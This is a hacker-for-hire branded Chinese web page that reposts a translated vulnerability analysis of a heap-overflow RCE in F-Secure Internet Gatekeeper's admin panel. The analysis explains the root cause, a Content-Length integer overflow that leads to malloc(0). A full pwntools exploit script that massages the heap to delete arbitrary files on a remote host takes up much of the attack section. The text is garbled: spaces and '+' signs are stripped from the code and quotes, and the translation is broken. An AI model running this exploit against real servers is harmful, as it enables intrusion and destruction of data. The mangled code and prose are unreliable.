黑客24小时在线接单网站

黑客24小时在线接单网站,黑客接单,接单网站,黑客入口

F-Secure Internet Gatekeeper堆溢出RCE漏洞分析

0x01 环境配置

所有测试应至少有一个处理器4GB RAM 的CentOS虚拟机可以重复。

需要安装F-Secure Internet Gatekeeper,可以从https://www.f-secure.com/en/business/downloads/internet-gatekeeper下载。但据我们所知,供应商不再提供粗漏洞的版本。

受影响的程序包具有以下功能SHA256哈希值:

1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26。

继续安装:

1.如果使用的话x64版本的CentOS,请执行 yum install glibc.i686;

2. 使用下列命令进行安装Internet Gatekeeper文件: rpm -I< fsigkbin >.rpm;

3. 为获得更好的调试体验,安装gdb 8 和https://github.com/hugsy/gef。

现在可以用了GHIDRA / IDA反编译器开始逆转Internet Gatekeeperl了!

0x02 漏洞分析

如F-Secure所述,Internet Gatekeeper是“企业网络在网关级别的高效易管理保护解决方案”。

F-Secure Internet Gatekeeper9012 / tcp上运行管理面板。这可用于控制产品中所有可用的服务和规则(HTTP代理,IMAP代理等。fsikgwebui二进制文件通过HTTP服务,二进制文件C编写的。实际上,整个Web所有服务器C / C 写作。有一些关于civetweb参考表明可能使用定制版本CivetWeb。

它是用C / C 写的事实让我们走上了寻找这种语言中常见的内存破坏漏洞的道路。

很快就可以使用了Fuzzotron模糊管理面板,发现本文描述的问题,Fuzzotron使用Radamsa作为底层引擎。fuzzotron内置的TCP支持网络服务的轻松模糊测试。对于种子,我们提取了POST该请求用于更改管理面板上的语言。该请求可由未经身份验证的用户执行,因此非常适合作为模糊测试的种子。

分析突变输入时,通过radamsa快速看到漏洞的根本原因是Content-length标题。导致软件崩溃的测试具有以下标头值:Content-Length: 21487483844,表明整数溢出不正确。

通过在gdb测试后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中。该方法负责处理传入的连接,并将其分配给相关函数,这取决于所使用的函数HTTP,路径或cookie。

为了演示这个问题,我们将面板运行管理POST我们设置了一个大的端口9012发送请求Content-Length标题值。

  • POST/submitHTTP/1.1
  • Host:192.168.0.24:9012
  • Content-Length:21487483844
  • AAAAAAAAAAAAAAAAAAAAAAAAAAA
  • 该应用程序将分析该请求并执行该请求fs_httpd_get_header函数检索内容长度,然后将内容长度传递给函数strtoul(String To Unsigned Long)

    以下伪代码提供了控制流的摘要:

  • content_len=fs_httpd_get_header(header_struct,"Content-Length");
  • if(content_len){
  • content_len_new=strtoul(content_len_old,0,10);
  • }
  • strtoul相应的阅读man页面可以理解函数中发生了什么。返回值 strtoul无符号long int,它可能有最大值2^32-1(在32位系统上)。

  • Thestrtoul()functionreturnseithertheresultoftheconversionor,iftherewasaleadingminussign,thenegationoftheresultoftheconversionrepresentedasanunsignedvalue,unlesstheoriginal(nonnegated)valuewouldoverflow;inthelattercase,strtoul()returnsULONG_MAXandsetserrnotoERANGE.Preciselythesameholdsforstrtoull()(withULLONG_MAXinsteadofULONG_MAX).
  • 因为我们提供的数据Content-Length对于无符号long int太大了,所以strtoul将返回对应0xFFFFFFFF于32位系统的ULONG_MAX值。

    到目前为止,一切都很好,当fs_httpd_civetweb_callback_begin_request试着发出函数malloc请求认为,当我们的数据腾出空间时,它首先将1添加到content_length然后调用变量malloc。

    以下伪代码可见:

  • //fs_malloc==malloc
  • data_by_post_on_heap=fs_malloc(content_len_new 1)
  • 因为这个值会导致问题0xFFFFFFFF 1会导致整数溢出,结果是0x00000000,因此,malloc调用将分配0字节内存。

    Malloc0字节参数确实允许调用,当malloc(0)将有效指针的堆叠空间返回并指向分配0×10手册页上还可以阅读字节的最小尺寸:

  • Themalloc()functionallocatessizebytesandreturnsapointertotheallocatedmemory.Thememoryisnotinitialized.Ifsizeis0,thenmalloc()returnseitherNULL,orauniquepointervaluethatcanlaterbesuccessfullypassedtofree().
  • 若进一步浏览Internet Gatekeeper代码,可以看对mg_read的调用。

  • //content_len_newiswithouttheadditionof0x1.
  • //socontent_len_new==0xFFFFFFFF
  • if(content_len_new){
  • intbytes_read=mg_read(header_struct,data_by_post_on_heap,content_len_new)
  • }
  • 在溢出期间,该代码没有任何限制地读取任何数据。这是一个很好的漏洞使用原语,因为我们可以停止写字节HTTP并且软件将关闭连接,在这种情况下,我们可以完全控制要写的字节数。

    总之,我们可以使用它Malloc大小为0x10的块以及任意数据的溢出来覆盖现有的内存结构,以下PoC这证明了这一点。虽然很原始,但它通过翻转标志来利用堆上现有的结构should_delete_file = true,然后用要删除的文件的完整路径喷射堆。Internet Gatekeeper内部处理程序有一种decontruct_http查找此标志并删除文件的方法。攻击者可以使用此漏洞删除任何文件,以证明漏洞的严重性。

  • frompwnimport*
  • importtime
  • importsys
  • defsend_payload(payload,content_len=21487483844,nofun=False):
  • r=remote(sys.argv[1],9012)
  • r.send("POST/HTTP/1.1\n")
  • r.send("Host:192.168.0.122:9012\n")
  • r.send("Content-Length:{}\n".format(content_len))
  • r.send("\n")
  • r.send(payload)
  • ifnotnofun:
  • r.send("\n\n")
  • returnr
  • deftrigger_exploit():
  • print"Triggeringexploit"
  • payload=""
  • payload ="A"*12
  • payload =p32(0x1d)>Fastbinchunkoverwrite
  • payload ="A"*488
  • payload =p32(0xdda00771)>Addressofpayload
  • payload =p32(0xdda00771 4)#Junk
  • r=send_payload(payload)
  • defmassage_heap(filename):
  • print"Tryingtomassagetheheap....."
  • forxinxrange(100):
  • payload=""
  • payload =p32(0x0)#Neededtobypasschecks
  • payload =p32(0x0)#Neededtobypasschecks
  • payload =p32(0xdda0077d)towherethefilenamewillbeinmemory
  • payload =filename "\x00"
  • payload ="C"*(0x300-len(payload))
  • r=send_payload(payload,content_len=0x80000,nofun=True)
  • r.close()
  • cut_conn=True
  • print"Heapmassagedone"
  • if__name__=="__main__":
  • iflen(sys.argv)!=3:
  • print"Usage:./{}".format(sys.argv[0])
  • print"Run`exportPWNLIB_SILENT=1`fordisablingverboseconnections"
  • exit()
  • massage_heap(sys.argv[2])
  • time.sleep(1)
  • trigger_exploit()
  • print"Exploitfinished.{}isnowremovedandremoteprocessshouldbecrashed".format(sys.argv[2])
  • >p style="box-sizing: bord ;"#目前的漏洞利用可靠性约占试验次数60-70%,利用我们的漏洞PoC依赖于前提条件中列出的特定主机版本。

    可以进行RCE,因为我们可以控制确切的块大小,并覆盖我们想要的块上尽可能多的数据。此外,该应用程序使用多个线程进入干净的堆区域,并尝试多次使用。

    此漏洞已在F-Secure Internet Gatekeeper版本5.40 – 5.50修补程序8(2019-07-11)中修复。

    0x03 学习堆利用资源

    利用

    ·Linux Heap Exploitation Intro Series: Set you free() – part 1

    ·Linux Heap Exploitation Intro Series: Set you free() – part 2

    GLibC

    ·GLibC Malloc for Exploiters - YouTube

    ·Understanding the GLibC Implementation - Part 1

    ·Understanding the GLibC Implementation - Part 2

    工具

    ·GEF-GDB此外,它还有一些有用的命令来调试堆漏洞

    ·Villoc-在HTML中图形化显示堆

    本文翻译自:https://blog.doyensec.com/2020/02/03/heap-exploit.html若转载,请注明原址:

    • 评论列表:
    •  夙世辙弃
       发布于 2022-06-17 21:14:29  回复该评论
    • _file = true,然后用要删除的文件的完整路径喷射堆。Internet Gatekeeper内部处理程序有一种decontruct_http查找此标志并删除文件的方法。攻击者可以使用此漏洞删除任何文件,以证明漏洞的严重性。frompwnimport*importtime

    发表评论:

    «    2024年8月    »
    1234
    567891011
    12131415161718
    19202122232425
    262728293031
    文章归档
    标签列表

    Powered By

    Copyright Your WebSite.Some Rights Reserved.